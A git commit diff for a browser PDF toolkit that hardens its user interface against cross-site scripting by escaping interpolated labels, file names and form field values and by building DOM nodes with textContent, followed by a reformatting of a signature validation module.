feat: enhance sanitization

This commit is contained in:
alam00000
2026-04-17 23:40:24 +05:30
parent d92ee1a003
commit b4779bb49b
35 changed files with 2703 additions and 1240 deletions

View File

@@ -232,22 +232,22 @@ function showInputModal(
if (field.type === 'text') {
return `
<div class="mb-4">
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
<label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
<input type="text" id="modal-${field.name}" value="${escapeHTML(String(defaultValues[field.name] || ''))}"
class="w-full px-3 py-2 border border-gray-300 rounded-lg text-gray-900"
placeholder="${field.placeholder || ''}" />
placeholder="${escapeHTML(field.placeholder || '')}" />
</div>
`;
} else if (field.type === 'select') {
return `
<div class="mb-4">
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
<label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
<select id="modal-${field.name}" class="w-full px-3 py-2 border border-gray-300 rounded-lg text-gray-900">
${field.options
.map(
(opt) => `
<option value="${opt.value}" ${defaultValues[field.name] === opt.value ? 'selected' : ''}>
${opt.label}
<option value="${escapeHTML(opt.value)}" ${defaultValues[field.name] === opt.value ? 'selected' : ''}>
${escapeHTML(opt.label)}
</option>
`
)
@@ -261,7 +261,7 @@ placeholder="${field.placeholder || ''}" />
defaultValues.destX !== null && defaultValues.destX !== undefined;
return `
<div class="mb-4">
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
<label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
<div class="p-3 bg-gray-50 rounded-lg border border-gray-200 space-y-2">
<div class="flex items-center gap-2">
<label class="flex items-center gap-1 text-xs">
@@ -313,7 +313,7 @@ class="w-full px-2 py-1 border border-gray-300 rounded text-sm text-gray-900" />
} else if (field.type === 'preview') {
return `
<div class="mb-4">
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
<label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
<div id="modal-preview" class="style-preview bg-gray-50">
<span id="preview-text" style="font-size: 16px;">Preview Text</span>
</div>
@@ -326,7 +326,7 @@ class="w-full px-2 py-1 border border-gray-300 rounded text-sm text-gray-900" />
modal.innerHTML = `
<div class="p-6">
<h3 class="text-xl font-bold text-gray-800 mb-4">${title}</h3>
<h3 class="text-xl font-bold text-gray-800 mb-4">${escapeHTML(title)}</h3>
<div class="mb-6">
${fieldsHTML}
</div>
@@ -830,7 +830,7 @@ function showConfirmModal(message: string): Promise<boolean> {
modal.innerHTML = `
<div class="p-6">
<h3 class="text-xl font-bold text-gray-800 mb-4">Confirm Action</h3>
<p class="text-gray-600 mb-6">${message}</p>
<p class="text-gray-600 mb-6">${escapeHTML(message)}</p>
<div class="flex gap-2 justify-end">
<button id="modal-cancel" class="px-4 py-2 rounded-lg bg-gray-200 hover:bg-gray-300 text-gray-700">Cancel</button>
<button id="modal-confirm" class="px-4 py-2 rounded btn-gradient text-white">Confirm</button>
@@ -882,8 +882,8 @@ function showAlertModal(title: string, message: string): Promise<boolean> {
modal.innerHTML = `
<div class="p-6">
<h3 class="text-xl font-bold text-gray-800 mb-4">${title}</h3>
<p class="text-gray-600 mb-6">${message}</p>
<h3 class="text-xl font-bold text-gray-800 mb-4">${escapeHTML(title)}</h3>
<p class="text-gray-600 mb-6">${escapeHTML(message)}</p>
<div class="flex justify-end">
<button id="modal-ok" class="px-4 py-2 rounded btn-gradient text-white">OK</button>
</div>

View File

@@ -71,22 +71,41 @@ function updateFileDisplay(): void {
fileControls.classList.remove('hidden');
deskewOptions.classList.remove('hidden');
fileDisplayArea.innerHTML = selectedFiles
.map(
(file, index) => `
<div class="flex items-center justify-between bg-gray-700 p-3 rounded-lg">
<div class="flex items-center gap-3">
<i data-lucide="file-text" class="w-5 h-5 text-indigo-400"></i>
<span class="text-gray-200 truncate max-w-xs">${file.name}</span>
<span class="text-gray-500 text-sm">(${(file.size / 1024).toFixed(1)} KB)</span>
</div>
<button class="remove-file text-gray-400 hover:text-red-400" data-index="${index}">
<i data-lucide="x" class="w-5 h-5"></i>
</button>
</div>
`
)
.join('');
fileDisplayArea.textContent = '';
selectedFiles.forEach((file, index) => {
const row = document.createElement('div');
row.className =
'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
const info = document.createElement('div');
info.className = 'flex items-center gap-3';
const fileIcon = document.createElement('i');
fileIcon.setAttribute('data-lucide', 'file-text');
fileIcon.className = 'w-5 h-5 text-indigo-400';
const nameSpan = document.createElement('span');
nameSpan.className = 'text-gray-200 truncate max-w-xs';
nameSpan.textContent = file.name;
const sizeSpan = document.createElement('span');
sizeSpan.className = 'text-gray-500 text-sm';
sizeSpan.textContent = `(${(file.size / 1024).toFixed(1)} KB)`;
info.append(fileIcon, nameSpan, sizeSpan);
const removeBtn = document.createElement('button');
removeBtn.className = 'remove-file text-gray-400 hover:text-red-400';
removeBtn.dataset.index = String(index);
const removeIcon = document.createElement('i');
removeIcon.setAttribute('data-lucide', 'x');
removeIcon.className = 'w-5 h-5';
removeBtn.appendChild(removeIcon);
row.append(info, removeBtn);
fileDisplayArea.appendChild(row);
});
createIcons({ icons });

View File

@@ -20,7 +20,7 @@ type LucideWindow = Window & {
};
import { initializeGlobalShortcuts } from '../utils/shortcuts-init.js';
import { downloadFile, hexToRgb } from '../utils/helpers.js';
import { downloadFile, escapeHtml, hexToRgb } from '../utils/helpers.js';
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
import { createIcons, icons } from 'lucide';
import * as pdfjsLib from 'pdfjs-dist';
@@ -720,7 +720,7 @@ function renderField(field: FormField): void {
field,
'#ffffff'
);
contentEl.innerHTML = `<div class="flex items-center gap-2 px-2"><i data-lucide="calendar" class="w-4 h-4"></i><span class="text-sm date-format-text">${field.dateFormat || 'mm/dd/yyyy'}</span></div>`;
contentEl.innerHTML = `<div class="flex items-center gap-2 px-2"><i data-lucide="calendar" class="w-4 h-4"></i><span class="text-sm date-format-text">${escapeHtml(field.dateFormat || 'mm/dd/yyyy')}</span></div>`;
setTimeout(() => (window as LucideWindow).lucide?.createIcons(), 0);
} else if (field.type === 'image') {
contentEl.className =
@@ -729,7 +729,7 @@ function renderField(field: FormField): void {
field,
'#f3f4f6'
);
contentEl.innerHTML = `<div class="flex flex-col items-center text-center p-1"><i data-lucide="image" class="w-6 h-6 mb-1"></i><span class="text-[10px] leading-tight">${field.label || 'Click to Upload Image'}</span></div>`;
contentEl.innerHTML = `<div class="flex flex-col items-center text-center p-1"><i data-lucide="image" class="w-6 h-6 mb-1"></i><span class="text-[10px] leading-tight">${escapeHtml(field.label || 'Click to Upload Image')}</span></div>`;
setTimeout(() => (window as LucideWindow).lucide?.createIcons(), 0);
} else if (field.type === 'barcode') {
contentEl.className = 'w-full h-full flex items-center justify-center';
@@ -1105,7 +1105,7 @@ function showProperties(field: FormField): void {
specificProps = `
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Value</label>
<input type="text" id="propValue" value="${field.defaultValue}" ${field.combCells > 0 ? `maxlength="${field.combCells}"` : field.maxLength > 0 ? `maxlength="${field.maxLength}"` : ''} class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propValue" value="${escapeHtml(field.defaultValue)}" ${field.combCells > 0 ? `maxlength="${field.combCells}"` : field.maxLength > 0 ? `maxlength="${field.maxLength}"` : ''} class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Max Length (0 for unlimited)</label>
@@ -1151,11 +1151,11 @@ function showProperties(field: FormField): void {
specificProps = `
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Group Name (Must be same for group)</label>
<input type="text" id="propGroupName" value="${field.groupName}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propGroupName" value="${escapeHtml(field.groupName)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Export Value</label>
<input type="text" id="propExportValue" value="${field.exportValue}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propExportValue" value="${escapeHtml(field.exportValue)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div class="flex items-center justify-between bg-gray-600 p-2 rounded mt-2">
<label for="propChecked" class="text-xs font-semibold text-gray-300">Checked State</label>
@@ -1168,13 +1168,13 @@ function showProperties(field: FormField): void {
specificProps = `
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Options (One per line or comma separated)</label>
<textarea id="propOptions" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24">${field.options?.join('\n')}</textarea>
<textarea id="propOptions" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24">${escapeHtml(field.options?.join('\n') ?? '')}</textarea>
</div>
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Selected Option</label>
<select id="propSelectedOption" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<option value="">None</option>
${field.options?.map((opt) => `<option value="${opt}" ${field.defaultValue === opt ? 'selected' : ''}>${opt}</option>`).join('')}
${field.options?.map((opt) => `<option value="${escapeHtml(opt)}" ${field.defaultValue === opt ? 'selected' : ''}>${escapeHtml(opt)}</option>`).join('')}
</select>
</div>
<div class="text-xs text-gray-400 italic mt-2">
@@ -1185,7 +1185,7 @@ function showProperties(field: FormField): void {
specificProps = `
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Label</label>
<input type="text" id="propLabel" value="${field.label}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propLabel" value="${escapeHtml(field.label)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Action</label>
@@ -1200,11 +1200,11 @@ function showProperties(field: FormField): void {
</div>
<div id="propUrlContainer" class="${field.action === 'url' ? '' : 'hidden'}">
<label class="block text-xs font-semibold text-gray-300 mb-1">URL</label>
<input type="text" id="propActionUrl" value="${field.actionUrl || ''}" placeholder="https://example.com" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propActionUrl" value="${escapeHtml(field.actionUrl || '')}" placeholder="https://example.com" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div id="propJsContainer" class="${field.action === 'js' ? '' : 'hidden'}">
<label class="block text-xs font-semibold text-gray-300 mb-1">Javascript Code</label>
<textarea id="propJsScript" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24 font-mono">${field.jsScript || ''}</textarea>
<textarea id="propJsScript" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24 font-mono">${escapeHtml(field.jsScript || '')}</textarea>
</div>
<div id="propShowHideContainer" class="${field.action === 'showHide' ? '' : 'hidden'}">
<div class="mb-2">
@@ -1215,7 +1215,7 @@ function showProperties(field: FormField): void {
.filter((f) => f.id !== field.id)
.map(
(f) =>
`<option value="${f.name}" ${field.targetFieldName === f.name ? 'selected' : ''}>${f.name} (${f.type})</option>`
`<option value="${escapeHtml(f.name)}" ${field.targetFieldName === f.name ? 'selected' : ''}>${escapeHtml(f.name)} (${escapeHtml(f.type)})</option>`
)
.join('')}
</select>
@@ -1281,7 +1281,7 @@ function showProperties(field: FormField): void {
</div>
<div id="customFormatContainer" class="${isCustom ? '' : 'hidden'} mt-2">
<label class="block text-xs font-semibold text-gray-300 mb-1">Custom Format</label>
<input type="text" id="propCustomFormat" value="${isCustom ? field.dateFormat : ''}" placeholder="e.g. dd/mm/yyyy HH:MM:ss" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propCustomFormat" value="${isCustom ? escapeHtml(field.dateFormat ?? '') : ''}" placeholder="e.g. dd/mm/yyyy HH:MM:ss" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div class="mt-3 p-2 bg-gray-700 rounded">
<span class="text-xs text-gray-400">Example of current format:</span>
@@ -1298,7 +1298,7 @@ function showProperties(field: FormField): void {
specificProps = `
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Label / Prompt</label>
<input type="text" id="propLabel" value="${field.label}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propLabel" value="${escapeHtml(field.label)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div class="text-xs text-gray-400 italic mt-2">
Clicking this field in the PDF will open a file picker to upload an image.
@@ -1320,7 +1320,7 @@ function showProperties(field: FormField): void {
</div>
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Barcode Value</label>
<input type="text" id="propBarcodeValue" value="${field.barcodeValue || ''}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propBarcodeValue" value="${escapeHtml(field.barcodeValue || '')}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div id="barcodeFormatHint" class="text-xs text-gray-400 italic"></div>
`;
@@ -1330,7 +1330,7 @@ function showProperties(field: FormField): void {
<div class="space-y-3">
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Field Name ${field.type === 'radio' ? '(Group Name)' : ''}</label>
<input type="text" id="propName" value="${field.name}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propName" value="${escapeHtml(field.name)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<div id="nameError" class="hidden text-red-400 text-xs mt-1"></div>
</div>
${
@@ -1343,7 +1343,10 @@ function showProperties(field: FormField): void {
<select id="existingGroups" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<option value="">-- Select existing group --</option>
${Array.from(existingRadioGroups)
.map((name) => `<option value="${name}">${name}</option>`)
.map(
(name) =>
`<option value="${escapeHtml(name)}">${escapeHtml(name)}</option>`
)
.join('')}
${Array.from(
new Set(
@@ -1354,7 +1357,7 @@ function showProperties(field: FormField): void {
)
.map((name) =>
!existingRadioGroups.has(name)
? `<option value="${name}">${name}</option>`
? `<option value="${escapeHtml(name)}">${escapeHtml(name)}</option>`
: ''
)
.join('')}
@@ -1367,7 +1370,7 @@ function showProperties(field: FormField): void {
${specificProps}
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Tooltip / Help Text</label>
<input type="text" id="propTooltip" value="${field.tooltip}" placeholder="Description for screen readers" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propTooltip" value="${escapeHtml(field.tooltip)}" placeholder="Description for screen readers" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div class="flex items-center">
<input type="checkbox" id="propRequired" ${field.required ? 'checked' : ''} class="mr-2">
@@ -1784,7 +1787,7 @@ function showProperties(field: FormField): void {
field.options
?.map(
(opt) =>
`<option value="${opt}" ${currentVal === opt ? 'selected' : ''}>${opt}</option>`
`<option value="${escapeHtml(opt)}" ${currentVal === opt ? 'selected' : ''}>${escapeHtml(opt)}</option>`
)
.join('');
@@ -2478,7 +2481,12 @@ downloadBtn.addEventListener('click', async () => {
JS: field.jsScript,
});
} else if (field.action === 'showHide' && field.targetFieldName) {
const target = field.targetFieldName;
const target = field.targetFieldName
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"')
.replace(/\r/g, '\\r')
.replace(/\n/g, '\\n')
.replace(/\0/g, '\\0');
let script: string;
if (field.visibilityAction === 'show') {

View File

@@ -54,19 +54,42 @@ function updateFileDisplay() {
? `${(currentFile.size / 1024).toFixed(1)} KB`
: `${(currentFile.size / 1024 / 1024).toFixed(2)} MB`;
displayArea.innerHTML = `
<div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
<div class="flex items-center justify-between">
<div class="flex-1 min-w-0">
<p class="truncate font-medium text-white">${currentFile.name}</p>
<p class="text-gray-400 text-sm">${fileSize}</p>
</div>
<button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">
<i data-lucide="trash-2" class="w-4 h-4"></i>
</button>
</div>
</div>
`;
displayArea.textContent = '';
const card = document.createElement('div');
card.className =
'bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors';
const row = document.createElement('div');
row.className = 'flex items-center justify-between';
const info = document.createElement('div');
info.className = 'flex-1 min-w-0';
const nameP = document.createElement('p');
nameP.className = 'truncate font-medium text-white';
nameP.textContent = currentFile.name;
const sizeP = document.createElement('p');
sizeP.className = 'text-gray-400 text-sm';
sizeP.textContent = fileSize;
info.append(nameP, sizeP);
const removeBtn = document.createElement('button');
removeBtn.id = 'remove-file';
removeBtn.className =
'text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2';
removeBtn.title = 'Remove file';
const removeIcon = document.createElement('i');
removeIcon.setAttribute('data-lucide', 'trash-2');
removeIcon.className = 'w-4 h-4';
removeBtn.appendChild(removeIcon);
row.append(info, removeBtn);
card.appendChild(row);
displayArea.appendChild(card);
createIcons({ icons });

View File

@@ -2,6 +2,7 @@ import { showLoader, hideLoader, showAlert } from '../ui.js';
import { t } from '../i18n/i18n';
import {
downloadFile,
escapeHtml,
readFileAsArrayBuffer,
formatBytes,
getPDFDocument,
@@ -208,7 +209,7 @@ document.addEventListener('DOMContentLoaded', () => {
<div class="layer-item" data-number="${layer.number}" style="padding-left: ${layer.depth * 24 + 8}px;">
<label class="layer-toggle">
<input type="checkbox" ${layer.on ? 'checked' : ''} ${layer.locked ? 'disabled' : ''} data-xref="${layer.xref}" />
<span class="layer-name">${layer.depth > 0 ? '└ ' : ''}${layer.text || `Layer ${layer.number}`}</span>
<span class="layer-name">${layer.depth > 0 ? '└ ' : ''}${escapeHtml(layer.text || `Layer ${layer.number}`)}</span>
${layer.locked ? '<span class="layer-locked">🔒</span>' : ''}
</label>
<div class="layer-actions">

View File

@@ -193,6 +193,15 @@ function initializeTool() {
document
.getElementById('pdf-file-input')
?.addEventListener('change', handlePdfUpload);
document.getElementById('upload-area')?.addEventListener('click', () => {
document.getElementById('pdf-file-input')?.click();
});
document
.getElementById('pdf-file-input-select-btn')
?.addEventListener('click', (e) => {
e.stopPropagation();
document.getElementById('pdf-file-input')?.click();
});
document
.getElementById('insert-pdf-input')
?.addEventListener('change', handleInsertPdf);

View File

@@ -2,6 +2,7 @@ import { PDFDocument, PDFName } from 'pdf-lib';
import { createIcons, icons } from 'lucide';
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
import { loadPdfDocument } from '../utils/load-pdf-document.js';
import { escapeHtml } from '../utils/helpers.js';
// State management
const pageState: { pdfDoc: PDFDocument | null; file: File | null } = {
@@ -70,7 +71,7 @@ function updateFileDisplay() {
<div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
<div class="flex items-center justify-between">
<div class="flex-1 min-w-0">
<p class="truncate font-medium text-white">${pageState.file.name}</p>
<p class="truncate font-medium text-white">${escapeHtml(pageState.file.name)}</p>
<p class="text-gray-400 text-sm">${fileSize}${pageCount} page${pageCount !== 1 ? 's' : ''}</p>
</div>
<button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">

View File

@@ -4,6 +4,7 @@ import { createIcons, icons } from 'lucide';
import { initPagePreview } from '../utils/page-preview.js';
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
import { loadPdfDocument } from '../utils/load-pdf-document.js';
import { escapeHtml } from '../utils/helpers.js';
pdfjsLib.GlobalWorkerOptions.workerSrc = new URL(
'pdfjs-dist/build/pdf.worker.min.mjs',
@@ -79,7 +80,7 @@ function updateFileDisplay() {
<div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
<div class="flex items-center justify-between">
<div class="flex-1 min-w-0">
<p class="truncate font-medium text-white">${pageState.file.name}</p>
<p class="truncate font-medium text-white">${escapeHtml(pageState.file.name)}</p>
<p class="text-gray-400 text-sm">${fileSize}${pageCount} page${pageCount !== 1 ? 's' : ''}</p>
</div>
<button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">

View File

@@ -6,303 +6,329 @@ import forge from 'node-forge';
import { SignatureValidationResult, ValidateSignatureState } from '@/types';
const state: ValidateSignatureState = {
pdfFile: null,
pdfBytes: null,
results: [],
trustedCertFile: null,
trustedCert: null,
pdfFile: null,
pdfBytes: null,
results: [],
trustedCertFile: null,
trustedCert: null,
};
function getElement<T extends HTMLElement>(id: string): T | null {
return document.getElementById(id) as T | null;
return document.getElementById(id) as T | null;
}
function resetState(): void {
state.pdfFile = null;
state.pdfBytes = null;
state.results = [];
state.pdfFile = null;
state.pdfBytes = null;
state.results = [];
const fileDisplayArea = getElement<HTMLDivElement>('file-display-area');
if (fileDisplayArea) fileDisplayArea.innerHTML = '';
const fileDisplayArea = getElement<HTMLDivElement>('file-display-area');
if (fileDisplayArea) fileDisplayArea.innerHTML = '';
const resultsSection = getElement<HTMLDivElement>('results-section');
if (resultsSection) resultsSection.classList.add('hidden');
const resultsSection = getElement<HTMLDivElement>('results-section');
if (resultsSection) resultsSection.classList.add('hidden');
const resultsContainer = getElement<HTMLDivElement>('results-container');
if (resultsContainer) resultsContainer.innerHTML = '';
const resultsContainer = getElement<HTMLDivElement>('results-container');
if (resultsContainer) resultsContainer.innerHTML = '';
const fileInput = getElement<HTMLInputElement>('file-input');
if (fileInput) fileInput.value = '';
const fileInput = getElement<HTMLInputElement>('file-input');
if (fileInput) fileInput.value = '';
const customCertSection = getElement<HTMLDivElement>('custom-cert-section');
if (customCertSection) customCertSection.classList.add('hidden');
const customCertSection = getElement<HTMLDivElement>('custom-cert-section');
if (customCertSection) customCertSection.classList.add('hidden');
}
function resetCertState(): void {
state.trustedCertFile = null;
state.trustedCert = null;
state.trustedCertFile = null;
state.trustedCert = null;
const certDisplayArea = getElement<HTMLDivElement>('cert-display-area');
if (certDisplayArea) certDisplayArea.innerHTML = '';
const certDisplayArea = getElement<HTMLDivElement>('cert-display-area');
if (certDisplayArea) certDisplayArea.innerHTML = '';
const certInput = getElement<HTMLInputElement>('cert-input');
if (certInput) certInput.value = '';
const certInput = getElement<HTMLInputElement>('cert-input');
if (certInput) certInput.value = '';
}
function initializePage(): void {
createIcons({ icons });
createIcons({ icons });
const fileInput = getElement<HTMLInputElement>('file-input');
const dropZone = getElement<HTMLDivElement>('drop-zone');
const backBtn = getElement<HTMLButtonElement>('back-to-tools');
const certInput = getElement<HTMLInputElement>('cert-input');
const certDropZone = getElement<HTMLDivElement>('cert-drop-zone');
const fileInput = getElement<HTMLInputElement>('file-input');
const dropZone = getElement<HTMLDivElement>('drop-zone');
const backBtn = getElement<HTMLButtonElement>('back-to-tools');
const certInput = getElement<HTMLInputElement>('cert-input');
const certDropZone = getElement<HTMLDivElement>('cert-drop-zone');
if (fileInput) {
fileInput.addEventListener('change', handlePdfUpload);
fileInput.addEventListener('click', () => {
fileInput.value = '';
});
}
if (fileInput) {
fileInput.addEventListener('change', handlePdfUpload);
fileInput.addEventListener('click', () => {
fileInput.value = '';
});
}
if (dropZone) {
dropZone.addEventListener('dragover', (e) => {
e.preventDefault();
dropZone.classList.add('bg-gray-700');
});
if (dropZone) {
dropZone.addEventListener('dragover', (e) => {
e.preventDefault();
dropZone.classList.add('bg-gray-700');
});
dropZone.addEventListener('dragleave', () => {
dropZone.classList.remove('bg-gray-700');
});
dropZone.addEventListener('dragleave', () => {
dropZone.classList.remove('bg-gray-700');
});
dropZone.addEventListener('drop', (e) => {
e.preventDefault();
dropZone.classList.remove('bg-gray-700');
const droppedFiles = e.dataTransfer?.files;
if (droppedFiles && droppedFiles.length > 0) {
handlePdfFile(droppedFiles[0]);
}
});
}
dropZone.addEventListener('drop', (e) => {
e.preventDefault();
dropZone.classList.remove('bg-gray-700');
const droppedFiles = e.dataTransfer?.files;
if (droppedFiles && droppedFiles.length > 0) {
handlePdfFile(droppedFiles[0]);
}
});
}
if (certInput) {
certInput.addEventListener('change', handleCertUpload);
certInput.addEventListener('click', () => {
certInput.value = '';
});
}
if (certInput) {
certInput.addEventListener('change', handleCertUpload);
certInput.addEventListener('click', () => {
certInput.value = '';
});
}
if (certDropZone) {
certDropZone.addEventListener('dragover', (e) => {
e.preventDefault();
certDropZone.classList.add('bg-gray-700');
});
if (certDropZone) {
certDropZone.addEventListener('dragover', (e) => {
e.preventDefault();
certDropZone.classList.add('bg-gray-700');
});
certDropZone.addEventListener('dragleave', () => {
certDropZone.classList.remove('bg-gray-700');
});
certDropZone.addEventListener('dragleave', () => {
certDropZone.classList.remove('bg-gray-700');
});
certDropZone.addEventListener('drop', (e) => {
e.preventDefault();
certDropZone.classList.remove('bg-gray-700');
const droppedFiles = e.dataTransfer?.files;
if (droppedFiles && droppedFiles.length > 0) {
handleCertFile(droppedFiles[0]);
}
});
}
certDropZone.addEventListener('drop', (e) => {
e.preventDefault();
certDropZone.classList.remove('bg-gray-700');
const droppedFiles = e.dataTransfer?.files;
if (droppedFiles && droppedFiles.length > 0) {
handleCertFile(droppedFiles[0]);
}
});
}
if (backBtn) {
backBtn.addEventListener('click', () => {
window.location.href = import.meta.env.BASE_URL;
});
}
if (backBtn) {
backBtn.addEventListener('click', () => {
window.location.href = import.meta.env.BASE_URL;
});
}
}
function handlePdfUpload(e: Event): void {
const input = e.target as HTMLInputElement;
if (input.files && input.files.length > 0) {
handlePdfFile(input.files[0]);
}
const input = e.target as HTMLInputElement;
if (input.files && input.files.length > 0) {
handlePdfFile(input.files[0]);
}
}
async function handlePdfFile(file: File): Promise<void> {
if (file.type !== 'application/pdf' && !file.name.toLowerCase().endsWith('.pdf')) {
showAlert('Invalid File', 'Please select a PDF file.');
return;
}
if (
file.type !== 'application/pdf' &&
!file.name.toLowerCase().endsWith('.pdf')
) {
showAlert('Invalid File', 'Please select a PDF file.');
return;
}
resetState();
state.pdfFile = file;
state.pdfBytes = new Uint8Array(await readFileAsArrayBuffer(file) as ArrayBuffer);
resetState();
state.pdfFile = file;
state.pdfBytes = new Uint8Array(
(await readFileAsArrayBuffer(file)) as ArrayBuffer
);
updatePdfDisplay();
updatePdfDisplay();
const customCertSection = getElement<HTMLDivElement>('custom-cert-section');
if (customCertSection) customCertSection.classList.remove('hidden');
createIcons({ icons });
const customCertSection = getElement<HTMLDivElement>('custom-cert-section');
if (customCertSection) customCertSection.classList.remove('hidden');
createIcons({ icons });
await validateSignatures();
await validateSignatures();
}
function updatePdfDisplay(): void {
const fileDisplayArea = getElement<HTMLDivElement>('file-display-area');
if (!fileDisplayArea || !state.pdfFile) return;
const fileDisplayArea = getElement<HTMLDivElement>('file-display-area');
if (!fileDisplayArea || !state.pdfFile) return;
fileDisplayArea.innerHTML = '';
fileDisplayArea.innerHTML = '';
const fileDiv = document.createElement('div');
fileDiv.className = 'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
const fileDiv = document.createElement('div');
fileDiv.className =
'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
const infoContainer = document.createElement('div');
infoContainer.className = 'flex flex-col flex-1 min-w-0';
const infoContainer = document.createElement('div');
infoContainer.className = 'flex flex-col flex-1 min-w-0';
const nameSpan = document.createElement('div');
nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
nameSpan.textContent = state.pdfFile.name;
const nameSpan = document.createElement('div');
nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
nameSpan.textContent = state.pdfFile.name;
const metaSpan = document.createElement('div');
metaSpan.className = 'text-xs text-gray-400';
metaSpan.textContent = formatBytes(state.pdfFile.size);
const metaSpan = document.createElement('div');
metaSpan.className = 'text-xs text-gray-400';
metaSpan.textContent = formatBytes(state.pdfFile.size);
infoContainer.append(nameSpan, metaSpan);
infoContainer.append(nameSpan, metaSpan);
const removeBtn = document.createElement('button');
removeBtn.className = 'ml-4 text-red-400 hover:text-red-300 flex-shrink-0';
removeBtn.innerHTML = '<i data-lucide="trash-2" class="w-4 h-4"></i>';
removeBtn.onclick = () => resetState();
const removeBtn = document.createElement('button');
